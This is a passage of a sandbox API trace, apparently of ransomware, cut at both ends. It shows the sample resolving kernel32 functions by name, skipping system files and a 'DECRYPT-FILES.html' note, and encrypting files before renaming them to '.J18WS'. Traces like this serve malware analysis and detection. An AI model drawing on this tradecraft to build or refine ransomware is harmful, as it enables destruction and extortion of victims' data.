lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0140.355] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0140.355] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0140.355] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0140.355] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0140.355] lstrlenA (lpString="CREATETHREAD") returned 12 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0140.355] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0140.355] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0140.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0140.356] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0140.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0140.356] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0140.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0140.356] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0140.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0140.356] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0140.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0140.356] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0140.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0140.356] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.J18WS") returned 50 [0140.356] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.J18WS" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.j18ws"), dwFlags=0x0) returned 1 [0140.357] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.357] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.357] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.357] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0140.357] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0140.357] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0140.357] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0140.357] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0140.358] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0140.358] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0140.358] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0140.358] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0140.358] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0140.358] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0140.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\") returned 27 [0140.358] lstrlenW (lpString="SetupResources.dll") returned 18 [0140.358] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3076\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0140.358] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" [0140.358] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0140.358] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=14168) returned 1 [0140.358] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0140.358] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0140.466] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0140.466] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0140.466] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.466] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0140.466] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0140.467] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.467] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0140.467] CloseHandle (hObject=0x5f8) returned 1 [0140.467] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.467] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0140.468] CloseHandle (hObject=0x0) returned 0 [0140.468] CloseHandle (hObject=0x5f4) returned 1 [0140.469] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.469] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.469] GetTickCount () returned 0x386d5 [0140.469] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.470] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0140.470] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0140.470] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.470] lstrlenA (lpString="kernel32.dll") returned 12 [0140.470] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0140.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0140.470] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0140.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0140.470] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0140.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0140.470] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0140.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0140.470] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0140.470] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0140.471] lstrlenA (lpString="ADDATOMA") returned 8 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0140.471] lstrlenA (lpString="ADDATOMW") returned 8 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0140.471] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0140.471] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0140.471] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0140.471] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0140.471] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0140.471] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0140.471] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0140.471] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0140.471] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0140.471] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0140.471] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0140.471] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0140.471] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0140.471] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0140.471] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0140.471] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0140.471] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0140.472] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0140.472] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0140.472] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0140.472] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0140.472] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0140.472] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0140.472] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0140.472] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0140.472] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0140.472] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0140.472] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0140.472] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0140.472] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0140.472] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0140.472] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0140.472] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0140.472] lstrlenA (lpString="BACKUPREAD") returned 10 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0140.472] lstrlenA (lpString="BACKUPSEEK") returned 10 [0140.472] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0140.473] lstrlenA (lpString="BACKUPWRITE") returned 11 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0140.473] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0140.473] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0140.473] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0140.473] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0140.473] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0140.473] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0140.473] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0140.473] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0140.473] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0140.473] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0140.473] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0140.473] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0140.473] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0140.473] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0140.473] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0140.473] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0140.473] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0140.473] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0140.474] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0140.474] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0140.474] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0140.474] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0140.474] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0140.474] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0140.474] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0140.474] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0140.474] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0140.474] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0140.474] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0140.474] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0140.474] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0140.474] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0140.474] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0140.474] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0140.474] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0140.474] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0140.474] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0140.475] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") 